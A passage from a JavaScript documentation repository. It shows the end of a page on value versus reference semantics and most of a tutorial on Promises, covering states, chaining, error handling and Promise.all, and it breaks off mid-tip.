Each `{}` literal creates a new, distinct object in memory. Even though both are empty, they occupy different memory addresses. The ECMAScript specification defines this as the \"Strict Equality Comparison\" algorithm — for objects, it checks whether both operands refer to the exact same object.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive Types\" icon=\"atom\" href=\"/concepts/primitive-types\">\n    Deep dive into the 7 primitive types and their characteristics\n  </Card>\n  <Card title=\"JavaScript Engines\" icon=\"microchip\" href=\"/concepts/javascript-engines\">\n    How V8 compiles and optimizes your code, including memory management\n  </Card>\n  <Card title=\"Type Coercion\" icon=\"shuffle\" href=\"/concepts/type-coercion\">\n    How JavaScript converts between types automatically\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"layer-group\" href=\"/concepts/scope-and-closures\">\n    How closures capture references to variables\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"ECMAScript Data Types — ECMA-262\" icon=\"book\" href=\"https://tc39.es/ecma262/#sec-ecmascript-data-types-and-values\">\n    The official specification defining primitive values and objects in JavaScript.\n  </Card>\n  <Card title=\"JavaScript Data Structures — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures\">\n    MDN's comprehensive guide to JavaScript's type system and data structures.\n  </Card>\n  <Card title=\"Object.freeze() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze\">\n    Documentation on freezing objects for immutability.\n  </Card>\n  <Card title=\"structuredClone() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/structuredClone\">\n    The modern way to create deep copies of objects.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Evaluation Strategy in ECMAScript — Dmitry Soshnikov\" icon=\"newspaper\" href=\"https://dmitrysoshnikov.com/ecmascript/chapter-8-evaluation-strategy/\">\n    The definitive explanation of call-by-sharing in ECMAScript by a language theory expert. Includes comparison with true pass-by-reference and detailed examples.\n  </Card>\n  <Card title=\"Is JavaScript Pass by Reference? — Aleksandr Hovhannisyan\" icon=\"newspaper\" href=\"https://www.aleksandrhovhannisyan.com/blog/javascript-pass-by-reference/\">\n    Excellent deep-dive debunking the \"pass by reference\" myth. Explains true references vs object references with C++ comparisons.\n  </Card>\n  <Card title=\"Mutability vs Immutability — freeCodeCamp\" icon=\"newspaper\" href=\"https://freecodecamp.org/news/mutability-vs-immutability-in-javascript\">\n    Beginner-friendly guide focusing on the practical differences between mutable and immutable data in JavaScript.\n  </Card>\n  <Card title=\"JavaScript Primitive vs. Reference Values\" icon=\"newspaper\" href=\"https://www.javascripttutorial.net/javascript-primitive-vs-reference-values/\">\n    Clear explanation with visual diagrams showing how primitives and objects behave differently.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Pass by Value vs Pass by Reference | Call by Sharing — The Code Dose\" icon=\"video\" href=\"https://www.youtube.com/watch?v=6xOCZdxfvFY\">\n    Modern explanation using the correct \"call by sharing\" terminology. Part of an excellent Understanding JavaScript series.\n  </Card>\n  <Card title=\"JavaScript Pass by Value vs Pass by Reference — techsith\" icon=\"video\" href=\"https://www.youtube.com/watch?v=E-dAnFdq8k8\">\n    Popular tutorial (37K+ views) with clear examples of how primitives and objects behave differently in functions.\n  </Card>\n  <Card title=\"Understanding Passing by Reference or Value — Steve Griffith\" icon=\"video\" href=\"https://www.youtube.com/watch?v=--Md6-8GAio\">\n    Comprehensive walkthrough covering primitives vs objects, function parameters, and common misconceptions.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/promises.mdx",
    "content": "---\ntitle: \"Promises\"\nsidebarTitle: \"Promises: Managing Async Operations\"\ndescription: \"Learn JavaScript Promises. Create, chain, and combine Promises, handle errors properly, and avoid common async pitfalls.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Async JavaScript\"\n\"article:tag\": \"javascript promises, promise chaining, Promise.all, async error handling, then catch finally\"\n---\n\nWhat if you could represent a value that doesn't exist yet? What if instead of deeply nested callbacks, you could write asynchronous code that reads almost like synchronous code?\n\n```javascript\n// Instead of callback hell...\ngetUser(userId, function(user) {\n  getPosts(user.id, function(posts) {\n    getComments(posts[0].id, function(comments) {\n      console.log(comments)\n    })\n  })\n})\n\n// ...Promises give you this:\ngetUser(userId)\n  .then(user => getPosts(user.id))\n  .then(posts => getComments(posts[0].id))\n  .then(comments => console.log(comments))\n```\n\nA **[Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)** is an object representing the eventual completion or failure of an asynchronous operation. Standardized in the ECMAScript 2015 (ES6) specification, it's a placeholder for a value that will show up later. Think of it like an order ticket at a restaurant that you'll trade for food when it's ready.\n\n<Info>\n**What you'll learn in this guide:**\n- What Promises are and why they were invented\n- The three states of a Promise: pending, fulfilled, rejected\n- How to create Promises with the Promise constructor\n- How to consume Promises with `.then()`, `.catch()`, and `.finally()`\n- How Promise chaining works and why it's powerful\n- All the Promise static methods: `all`, `allSettled`, `race`, `any`, `resolve`, `reject`, `withResolvers`, `try`\n- Common patterns and mistakes to avoid\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [Callbacks](/concepts/callbacks). Promises were invented to solve problems with callbacks, so understanding callbacks will help you appreciate why Promises exist and how they improve async code.\n</Warning>\n\n---\n\n## What is a Promise?\n\nA **[Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)** is a JavaScript object that represents the eventual result of an asynchronous operation. When you create a Promise, you're saying: \"I don't have the value right now, but I *promise* to give you a value (or an error) later.\"\n\n```javascript\n// A Promise that resolves after 1 second\nconst promise = new Promise((resolve, reject) => {\n  setTimeout(() => {\n    resolve('Hello from the future!')\n  }, 1000)\n})\n\n// Consuming the Promise\npromise.then(value => {\n  console.log(value)  // \"Hello from the future!\" (after 1 second)\n})\n```\n\nUnlike callbacks that you pass *into* functions, Promises are objects you get *back* from functions. This small change unlocks useful patterns like chaining, composition, and unified error handling.\n\n<CardGroup cols={2}>\n  <Card title=\"Promise — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise\">\n    Official MDN documentation for the Promise object\n  </Card>\n  <Card title=\"Using Promises — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises\">\n    MDN guide on how to use Promises effectively\n  </Card>\n</CardGroup>\n\n---\n\n## The Restaurant Order Analogy\n\nLet's make this concrete. Imagine you're at a busy restaurant:\n\n1. **You place an order** — The waiter gives you an order ticket (a Promise)\n2. **You wait** — The kitchen is cooking (the async operation is pending)\n3. **One of two things happens:**\n   - **Food is ready** — You exchange your ticket for food (Promise fulfilled)\n   - **Kitchen ran out of ingredients** — You get an apology instead (Promise rejected)\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     THE PROMISE LIFECYCLE                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    YOU                              KITCHEN                              │\n│    ┌──────────┐                     ┌──────────────┐                     │\n│    │          │  \"I'll have the     │              │                     │\n│    │    :)    │  ─────pasta!─────►  │    [chef]    │                     │\n│    │          │                     │              │                     │\n│    └──────────┘                     └──────────────┘                     │\n│         │                                  │                             │\n│         │  Here's your                     │                             │\n│         │  ORDER TICKET                    │  Cooking...                 │\n│         │  (Promise)                       │  (Pending)                  │\n│         ▼                                  │                             │\n│    ┌──────────┐                            │                             │\n│    │ TICKET   │                            │                             │\n│    │ #42      │◄───────────────────────────┘                             │\n│    │ PENDING  │                                                          │\n│    └──────────┘                                                          │\n│         │                                                                │\n│         │                                                                │\n│         ▼                                                                │\n│    ┌─────────────────────────────────────────────────────────┐          │\n│    │                    OUTCOME                               │          │\n│    ├─────────────────────────┬───────────────────────────────┤          │\n│    │                         │                               │          │\n│    │   FULFILLED             │   REJECTED                    │          │\n│    │   ┌──────────┐          │   ┌──────────┐                │          │\n│    │   │  PASTA   │          │   │  SORRY!  │                │          │\n│    │   │   :D     │          │   │  No more │                │          │\n│    │   │          │          │   │  pasta   │                │          │\n│    │   └──────────┘          │   └──────────┘                │          │\n│    │   You got what          │   Something went              │          │\n│    │   you ordered!          │   wrong                       │          │\n│    │                         │                               │          │\n│    └─────────────────────────┴───────────────────────────────┘          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nHere's how this maps to JavaScript:\n\n| Restaurant | Promise | Code |\n|------------|---------|------|\n| Order ticket | Promise object | `const promise = fetch(url)` |\n| Waiting for food | Pending state | Promise exists but hasn't settled |\n| Food arrives | Fulfilled state | `resolve(value)` was called |\n| Out of ingredients | Rejected state | `reject(error)` was called |\n| Picking up food | `.then()` handler | `promise.then(food => eat(food))` |\n| Handling problems | `.catch()` handler | `promise.catch(err => complain(err))` |\n\nHere's the important part: **once your order is fulfilled or rejected, it doesn't change**. You can't un-eat the pasta or un-reject the apology. Similarly, once a Promise settles, its state is permanent. According to the ECMAScript specification, this immutability guarantee (called \"settled\" state) is what makes Promises reliable building blocks for complex async workflows.\n\n---\n\n## Why Promises? The Callback Problem\n\nBefore we go further, let's quickly look at why Promises were invented. If you've read the [Callbacks guide](/concepts/callbacks), you know about \"callback hell\": the deeply nested, hard-to-read code that happens when you chain multiple async operations:\n\n```javascript\n// Callback Hell - The Pyramid of Doom\ngetUserData(userId, function(error, user) {\n  if (error) {\n    handleError(error)\n    return\n  }\n  getOrderHistory(user.id, function(error, orders) {\n    if (error) {\n      handleError(error)\n      return\n    }\n    getOrderDetails(orders[0].id, function(error, details) {\n      if (error) {\n        handleError(error)\n        return\n      }\n      getShippingStatus(details.shipmentId, function(error, status) {\n        if (error) {\n          handleError(error)\n          return\n        }\n        console.log(status)\n      })\n    })\n  })\n})\n```\n\nThe same logic with Promises:\n\n```javascript\n// Promises - Flat and Readable\ngetUserData(userId)\n  .then(user => getOrderHistory(user.id))\n  .then(orders => getOrderDetails(orders[0].id))\n  .then(details => getShippingStatus(details.shipmentId))\n  .then(status => console.log(status))\n  .catch(error => handleError(error))  // One place for ALL errors!\n```\n\n<Tip>\n**Why Promises are better:**\n- **Flat structure** — No more pyramid of doom\n- **Unified error handling** — One `.catch()` handles all errors in the chain\n- **Composition** — Promises can be combined with `Promise.all()`, `Promise.race()`, etc.\n- **Guaranteed async** — `.then()` callbacks always run asynchronously (on the microtask queue)\n- **Return values** — Promises are objects you can store, pass around, and return from functions\n</Tip>\n\n---\n\n## Promise States and Fate\n\nEvery Promise is in one of three **states**:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         PROMISE STATES                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│                           ┌───────────┐                                  │\n│                           │  PENDING  │                                  │\n│                           │           │                                  │\n│                           │  Waiting  │                                  │\n│                           │  for      │                                  │\n│                           │  result   │                                  │\n│                           └─────┬─────┘                                  │\n│                                 │                                        │\n│               ┌─────────────────┴─────────────────┐                      │\n│               │                                   │                      │\n│               ▼                                   ▼                      │\n│       ┌───────────────┐                   ┌───────────────┐              │\n│       │   FULFILLED   │                   │   REJECTED    │              │\n│       │               │                   │               │              │\n│       │   Success!    │                   │   Failed!     │              │\n│       │   Has value   │                   │   Has reason  │              │\n│       └───────────────┘                   └───────────────┘              │\n│                                                                          │\n│       ◄─────────────── SETTLED (final state) ───────────────►           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n| State | Description | Can Change? |\n|-------|-------------|-------------|\n| **Pending** | Initial state. The async operation is still in progress. | Yes |\n| **Fulfilled** | The operation completed successfully. The Promise has a value. | No |\n| **Rejected** | The operation failed. The Promise has a reason (error). | No |\n\nA Promise that is either fulfilled or rejected is called **settled**. Once settled, a Promise's state is locked in and never changes.\n\n```javascript\nconst promise = new Promise((resolve, reject) => {\n  resolve('first')   // Promise is now FULFILLED with value 'first'\n  resolve('second')  // Ignored! Promise already settled\n  reject('error')    // Also ignored! Promise already settled\n})\n\npromise.then(value => {\n  console.log(value)  // \"first\"\n})\n```\n\n<Warning>\n**Important:** Calling `resolve()` or `reject()` multiple times does nothing after the first call. The Promise settles once and only once.\n</Warning>\n\n### Promise Fate: Resolved vs Unresolved\n\nThere's a subtle but useful distinction between a Promise's **state** and its **fate**:\n\n- **State** = pending, fulfilled, or rejected\n- **Fate** = resolved or unresolved\n\nThink of it like this: when you place your restaurant order, your fate is \"sealed\" the moment the waiter writes it down, even though you haven't received your food yet (still pending). You can't change your order anymore.\n\nA Promise is **resolved** when its fate is sealed, either because it's already settled, or because it's \"locked in\" to follow another Promise:\n\n```javascript\nconst innerPromise = new Promise(resolve => {\n  setTimeout(() => resolve('inner value'), 1000)\n})\n\nconst outerPromise = new Promise(resolve => {\n  resolve(innerPromise)  // Resolving with another Promise!\n})\n\n// outerPromise is now \"resolved\" (its fate is locked to innerPromise)\n// but it's still \"pending\" (its state hasn't settled yet)\n\nouterPromise.then(value => {\n  console.log(value)  // \"inner value\" (after 1 second)\n})\n```\n\nWhen you resolve a Promise with another Promise, the outer Promise \"adopts\" the state of the inner one. This is called **Promise unwrapping**. The outer Promise automatically follows whatever happens to the inner Promise.\n\n### Thenables\n\nJavaScript doesn't just work with native Promises — it also supports **thenables**. A thenable is any object with a `.then()` method. This allows Promises to interoperate with Promise-like objects from libraries:\n\n```javascript\n// A thenable is any object with a .then() method\nconst thenable = {\n  then(onFulfilled, onRejected) {\n    onFulfilled(42)\n  }\n}\n\n// Promise.resolve() unwraps thenables\nPromise.resolve(thenable).then(value => {\n  console.log(value)  // 42\n})\n\n// Returning a thenable from .then() also works\nPromise.resolve('start')\n  .then(() => thenable)\n  .then(value => console.log(value))  // 42\n```\n\nThis is why `Promise.resolve()` doesn't always return a new Promise — if you pass it a native Promise, it returns the same Promise:\n\n```javascript\nconst p = Promise.resolve('hello')\nconst p2 = Promise.resolve(p)\nconsole.log(p === p2)  // true\n```\n\n---\n\n## Creating Promises\n\n### The Promise Constructor\n\nYou create a new Promise using the `Promise` constructor, which takes an **executor function**:\n\n```javascript\nconst promise = new Promise((resolve, reject) => {\n  // Your async code here\n  // Call resolve(value) on success\n  // Call reject(error) on failure\n})\n```\n\nThe executor receives two arguments:\n- **`resolve(value)`** — Call this to fulfill the Promise with a value\n- **`reject(reason)`** — Call this to reject the Promise with an error\n\n<Warning>\n**Heads up:** The executor function runs **immediately and synchronously** when you create the Promise. Only the `.then()` callbacks are asynchronous.\n\n```javascript\nconsole.log('Before Promise')\n\nconst promise = new Promise((resolve, reject) => {\n  console.log('Inside executor (synchronous!)')\n  resolve('done')\n})\n\nconsole.log('After Promise')\n\npromise.then(value => {\n  console.log('Inside then (asynchronous)')\n})\n\nconsole.log('After then')\n\n// Output:\n// Before Promise\n// Inside executor (synchronous!)\n// After Promise\n// After then\n// Inside then (asynchronous)\n```\n</Warning>\n\n### Wrapping setTimeout in a Promise\n\nYou'll often use the Promise constructor to wrap old callback-style code. Let's create a handy `delay` function:\n\n```javascript\n// Create a Promise that resolves after ms milliseconds\nfunction delay(ms) {\n  return new Promise(resolve => {\n    setTimeout(resolve, ms)\n  })\n}\n\n// Usage\nconsole.log('Starting...')\n\ndelay(2000).then(() => {\n  console.log('2 seconds have passed!')\n})\n\n// Or with a value\nfunction delayedValue(value, ms) {\n  return new Promise(resolve => {\n    setTimeout(() => resolve(value), ms)\n  })\n}\n\ndelayedValue('Hello!', 1000).then(message => {\n  console.log(message)  // \"Hello!\" (after 1 second)\n})\n```\n\n### Wrapping Callback-Based APIs\n\nHere's a real-world example: turning a callback-based image loader into a Promise:\n\n```javascript\n// Original callback-based function\nfunction loadImageCallback(url, onSuccess, onError) {\n  const img = new Image()\n  img.onload = () => onSuccess(img)\n  img.onerror = () => onError(new Error(`Failed to load ${url}`))\n  img.src = url\n}\n\n// Promise-based wrapper\nfunction loadImage(url) {\n  return new Promise((resolve, reject) => {\n    const img = new Image()\n    img.onload = () => resolve(img)\n    img.onerror = () => reject(new Error(`Failed to load ${url}`))\n    img.src = url\n  })\n}\n\n// Now you can use it with .then() or async/await!\nloadImage('https://example.com/photo.jpg')\n  .then(img => {\n    console.log(`Loaded image: ${img.width}x${img.height}`)\n    document.body.appendChild(img)\n  })\n  .catch(error => {\n    console.error('Failed to load image:', error.message)\n  })\n```\n\n### Handling Errors in the Executor\n\nIf an error is thrown inside the executor, the Promise is automatically rejected:\n\n```javascript\nconst promise = new Promise((resolve, reject) => {\n  throw new Error('Something went wrong!')\n  // No need to call reject() — the throw does it automatically\n})\n\npromise.catch(error => {\n  console.log(error.message)  // \"Something went wrong!\"\n})\n```\n\nThis is equivalent to:\n\n```javascript\nconst promise = new Promise((resolve, reject) => {\n  reject(new Error('Something went wrong!'))\n})\n```\n\n---\n\n## Consuming Promises: then, catch, finally\n\nOnce you have a Promise, you need to actually *do* something with it when it finishes. JavaScript gives you three methods for this.\n\n### .then() — The Core Method\n\nThe **[`.then()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then)** method is the primary way to handle Promise results. It takes up to two callbacks:\n\n```javascript\npromise.then(onFulfilled, onRejected)\n```\n\n- **`onFulfilled(value)`** — Called when the Promise is fulfilled\n- **`onRejected(reason)`** — Called when the Promise is rejected\n\n```javascript\nconst promise = new Promise((resolve, reject) => {\n  const random = Math.random()\n  if (random > 0.5) {\n    resolve(`Success! Random was ${random}`)\n  } else {\n    reject(new Error(`Failed! Random was ${random}`))\n  }\n})\n\npromise.then(\n  value => console.log('Fulfilled:', value),\n  error => console.log('Rejected:', error.message)\n)\n```\n\nMost commonly, you'll only pass the first callback and use `.catch()` for errors:\n\n```javascript\npromise.then(value => {\n  console.log('Got value:', value)\n})\n```\n\n### .catch() — Handling Rejections\n\nThe **[`.catch()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch)** method is syntactic sugar for `.then(undefined, onRejected)`:\n\n```javascript\n// These are equivalent:\npromise.catch(error => handleError(error))\npromise.then(undefined, error => handleError(error))\n```\n\nUsing `.catch()` is cleaner and more readable:\n\n```javascript\nfetchUserData(userId)\n  .then(user => processUser(user))\n  .then(result => saveResult(result))\n  .catch(error => {\n    // Catches errors from fetchUserData, processUser, OR saveResult\n    console.error('Something went wrong:', error.message)\n  })\n```\n\n### .finally() — Cleanup Code\n\nThe **[`.finally()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally)** method runs code no matter if the Promise was fulfilled or rejected. It's great for cleanup:\n\n```javascript\nlet isLoading = true\n\nfetchData(url)\n  .then(data => {\n    displayData(data)\n  })\n  .catch(error => {\n    displayError(error)\n  })\n  .finally(() => {\n    // This runs no matter what!\n    isLoading = false\n    hideLoadingSpinner()\n  })\n```\n\n<Note>\n**How `.finally()` works:**\n- It receives no arguments (it doesn't know if the Promise fulfilled or rejected)\n- It returns a Promise that \"passes through\" the original value/error\n- If you throw or return a rejected Promise in `.finally()`, that error propagates\n</Note>\n\n```javascript\nPromise.resolve('hello')\n  .finally(() => {\n    console.log('Cleanup!')\n    // Return value is ignored\n    return 'ignored'\n  })\n  .then(value => {\n    console.log(value)  // \"hello\" (not \"ignored\"!)\n  })\n```\n\n### Every Handler Returns a New Promise\n\nThis is **key** to understand: `.then()`, `.catch()`, and `.finally()` all return **new Promises**. This is what makes chaining possible:\n\n```javascript\nconst promise1 = Promise.resolve(1)\nconst promise2 = promise1.then(x => x + 1)\nconst promise3 = promise2.then(x => x + 1)\n\n// promise1, promise2, and promise3 are THREE DIFFERENT Promises!\n\nconsole.log(promise1 === promise2)  // false\nconsole.log(promise2 === promise3)  // false\n\npromise3.then(value => console.log(value))  // 3\n```\n\n---\n\n## Promise Chaining\n\nPromise chaining is where Promises shine. Since each `.then()` returns a new Promise, you can chain them together:\n\n```javascript\nPromise.resolve(1)\n  .then(x => {\n    console.log(x)     // 1\n    return x + 1\n  })\n  .then(x => {\n    console.log(x)     // 2\n    return x + 1\n  })\n  .then(x => {\n    console.log(x)     // 3\n    return x + 1\n  })\n  .then(x => {\n    console.log(x)     // 4\n  })\n```\n\n### How Chaining Works\n\nThe value returned from a `.then()` callback becomes the fulfillment value of the Promise returned by `.then()`:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       PROMISE CHAINING FLOW                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Promise.resolve(1)                                                     │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────────────────────────────────────┐                        │\n│   │  .then(x => x * 2)                          │                        │\n│   │                                             │                        │\n│   │  Input: 1                                   │                        │\n│   │  Return: 2                                  │                        │\n│   │  Output Promise: fulfilled with 2           │                        │\n│   └─────────────────────────────────────────────┘                        │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────────────────────────────────────┐                        │\n│   │  .then(x => x + 10)                         │                        │\n│   │                                             │                        │\n│   │  Input: 2                                   │                        │\n│   │  Return: 12                                 │                        │\n│   │  Output Promise: fulfilled with 12          │                        │\n│   └─────────────────────────────────────────────┘                        │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────────────────────────────────────┐                        │\n│   │  .then(x => console.log(x))                 │                        │\n│   │                                             │                        │\n│   │  Input: 12                                  │                        │\n│   │  Console: \"12\"                              │                        │\n│   │  Return: undefined                          │                        │\n│   │  Output Promise: fulfilled with undefined   │                        │\n│   └─────────────────────────────────────────────┘                        │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Returning Promises in Chains\n\nIf you return a Promise from a `.then()` callback, the chain waits for it to finish:\n\n```javascript\nfunction fetchUser(id) {\n  return new Promise(resolve => {\n    setTimeout(() => resolve({ id, name: 'Alice' }), 100)\n  })\n}\n\nfunction fetchPosts(userId) {\n  return new Promise(resolve => {\n    setTimeout(() => resolve([\n      { id: 1, title: 'First Post' },\n      { id: 2, title: 'Second Post' }\n    ]), 100)\n  })\n}\n\n// Chain of async operations\nfetchUser(1)\n  .then(user => {\n    console.log('Got user:', user.name)\n    return fetchPosts(user.id)  // Return a Promise\n  })\n  .then(posts => {\n    // This waits for fetchPosts to complete!\n    console.log('Got posts:', posts.length)\n  })\n\n// Output:\n// Got user: Alice\n// Got posts: 2\n```\n\n<Tip>\n**The #1 Rule of Chaining:** Always `return` from your `.then()` callbacks! Forgetting to return is the most common Promise mistake.\n\n```javascript\n// ❌ WRONG - forgot to return\nfetchUser(1)\n  .then(user => {\n    fetchPosts(user.id)  // Oops! Not returned\n  })\n  .then(posts => {\n    console.log(posts)   // undefined! The Promise wasn't returned\n  })\n\n// ✓ CORRECT - return the Promise\nfetchUser(1)\n  .then(user => {\n    return fetchPosts(user.id)  // Explicitly return\n  })\n  .then(posts => {\n    console.log(posts)   // [{ id: 1, ... }, { id: 2, ... }]\n  })\n\n// ✓ ALSO CORRECT - arrow function implicit return\nfetchUser(1)\n  .then(user => fetchPosts(user.id))  // Implicit return\n  .then(posts => console.log(posts))\n```\n</Tip>\n\n### Transforming Values Through the Chain\n\nEach step in the chain can transform the value:\n\n```javascript\nPromise.resolve('hello')\n  .then(str => str.toUpperCase())           // 'HELLO'\n  .then(str => str + '!')                   // 'HELLO!'\n  .then(str => str.repeat(3))               // 'HELLO!HELLO!HELLO!'\n  .then(str => str.split('!'))              // ['HELLO', 'HELLO', 'HELLO', '']\n  .then(arr => arr.filter(s => s.length))   // ['HELLO', 'HELLO', 'HELLO']\n  .then(arr => arr.length)                  // 3\n  .then(count => console.log(count))        // Logs: 3\n```\n\n---\n\n## Error Handling\n\nError handling is where Promises shine. Errors automatically flow down the chain until something catches them.\n\n### Error Propagation\n\nWhen a Promise is rejected or an error is thrown, it \"skips\" all `.then()` callbacks until it finds a `.catch()`:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      ERROR PROPAGATION                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Promise.reject(new Error('Oops!'))                                     │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────────────────────────────────────┐                        │\n│   │  .then(x => x * 2)                          │  ◄── SKIPPED           │\n│   └─────────────────────────────────────────────┘                        │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────────────────────────────────────┐                        │\n│   │  .then(x => x + 10)                         │  ◄── SKIPPED           │\n│   └─────────────────────────────────────────────┘                        │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────────────────────────────────────┐                        │\n│   │  .catch(err => console.log(err.message))    │  ◄── CAUGHT HERE!      │\n│   │                                             │                        │\n│   │  Output: \"Oops!\"                            │                        │\n│   └─────────────────────────────────────────────┘                        │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────────────────────────────────────┐                        │\n│   │  .then(() => console.log('Recovered!'))     │  ◄── RUNS (chain       │\n│   └─────────────────────────────────────────────┘      continues)        │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\nPromise.reject(new Error('Oops!'))\n  .then(x => {\n    console.log('This never runs')\n    return x * 2\n  })\n  .then(x => {\n    console.log('This never runs either')\n    return x + 10\n  })\n  .catch(error => {\n    console.log('Caught:', error.message)  // \"Caught: Oops!\"\n    return 'recovered'\n  })\n  .then(value => {\n    console.log('Continued with:', value)  // \"Continued with: recovered\"\n  })\n```\n\n### Throwing Errors in .then()\n\nIf you throw an error in a `.then()` callback (or return a rejected Promise), the chain rejects:\n\n```javascript\nPromise.resolve('start')\n  .then(value => {\n    console.log(value)  // \"start\"\n    throw new Error('Something went wrong!')\n  })\n  .then(value => {\n    console.log('This is skipped')\n  })\n  .catch(error => {\n    console.log('Caught:', error.message)  // \"Caught: Something went wrong!\"\n  })\n```\n\n### Re-throwing Errors\n\nSometimes you want to log an error but still let it bubble up:\n\n```javascript\nfetchData(url)\n  .catch(error => {\n    // Log the error\n    console.error('Error fetching data:', error.message)\n    \n    // Re-throw to continue propagating\n    throw error\n  })\n  .then(data => {\n    // This won't run if there was an error\n    processData(data)\n  })\n  .catch(error => {\n    // Handle at a higher level\n    showUserError('Failed to load data')\n  })\n```\n\n### Multiple .catch() Handlers\n\nYou can have multiple `.catch()` handlers in a chain for different error handling strategies:\n\n```javascript\nfetchUser(userId)\n  .then(user => {\n    if (!user.isActive) {\n      throw new Error('User is inactive')\n    }\n    return fetchUserPosts(user.id)\n  })\n  .catch(error => {\n    // Handle user-related errors\n    if (error.message === 'User is inactive') {\n      return []  // Return empty posts for inactive users\n    }\n    throw error  // Re-throw other errors\n  })\n  .then(posts => renderPosts(posts))\n  .catch(error => {\n    // Handle all other errors (network, rendering, etc.)\n    console.error('Failed:', error)\n    showFallbackUI()\n  })\n```\n\n### The Unhandled Rejection Problem\n\n<Warning>\n**Always handle Promise rejections!** If a Promise is rejected and there's no `.catch()` handler, modern JavaScript environments will warn you about an \"unhandled promise rejection\":\n\n```javascript\n// ❌ BAD - Unhandled rejection\nPromise.reject(new Error('Oops!'))\n\n// ❌ BAD - Error in .then() with no .catch()\nPromise.resolve('data')\n  .then(data => {\n    throw new Error('Processing failed!')\n  })\n// UnhandledPromiseRejection warning!\n\n// ✓ GOOD - Always have a .catch()\nPromise.reject(new Error('Oops!'))\n  .catch(error => console.error('Handled:', error.message))\n```\n\nIn Node.js, unhandled rejections can crash your application in future versions. In browsers, they're logged as errors.\n</Warning>\n\n---\n\n## Promise Static Methods\n\nThe `Promise` class has several static methods for creating and combining Promises. These are super useful in practice.\n\n### Promise.resolve() and Promise.reject()\n\nThe simplest static methods. They create already-settled Promises:\n\n```javascript\n// Create a fulfilled Promise\nconst fulfilled = Promise.resolve('success')\nfulfilled.then(value => console.log(value))  // \"success\"\n\n// Create a rejected Promise\nconst rejected = Promise.reject(new Error('failure'))\nrejected.catch(error => console.log(error.message))  // \"failure\"\n```\n\n**When are these useful?**\n- Converting a regular value to a Promise for consistency\n- Starting a Promise chain\n- Testing Promise-based code\n\n```javascript\n// Useful for normalizing values to Promises\nfunction fetchData(cached) {\n  if (cached) {\n    return Promise.resolve(cached)  // Return cached data as Promise\n  }\n  return fetch('/api/data').then(r => r.json())  // Fetch fresh data\n}\n\n// Both code paths return Promises, so callers can use .then() consistently\nfetchData(cachedData).then(data => render(data))\n```\n\n### Promise.all() — Wait for All\n\n**[`Promise.all()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)** takes an iterable of Promises and returns a single Promise that:\n- **Fulfills** when ALL input Promises fulfill (with an array of values)\n- **Rejects** when ANY input Promise rejects (with that error, immediately)\n\n```javascript\nconst promise1 = Promise.resolve(1)\nconst promise2 = Promise.resolve(2)\nconst promise3 = Promise.resolve(3)\n\nPromise.all([promise1, promise2, promise3])\n  .then(values => {\n    console.log(values)  // [1, 2, 3]\n  })\n```\n\n**Real example: loading a dashboard**\n\n```javascript\nasync function loadDashboard(userId) {\n  // All three requests start simultaneously!\n  const [user, posts, notifications] = await Promise.all([\n    fetchUser(userId),\n    fetchPosts(userId),\n    fetchNotifications(userId)\n  ])\n  \n  return { user, posts, notifications }\n}\n```\n\n**The short-circuit behavior:**\n\n```javascript\nPromise.all([\n  Promise.resolve('A'),\n  Promise.reject(new Error('B failed!')),  // This rejects!\n  Promise.resolve('C')\n])\n  .then(values => {\n    console.log('Success:', values)  // Never runs\n  })\n  .catch(error => {\n    console.log('Failed:', error.message)  // \"Failed: B failed!\"\n    // We don't get 'A' or 'C' — the whole thing fails\n  })\n```\n\n<Tip>\n**Use `Promise.all()` when:**\n- You need ALL results to proceed\n- 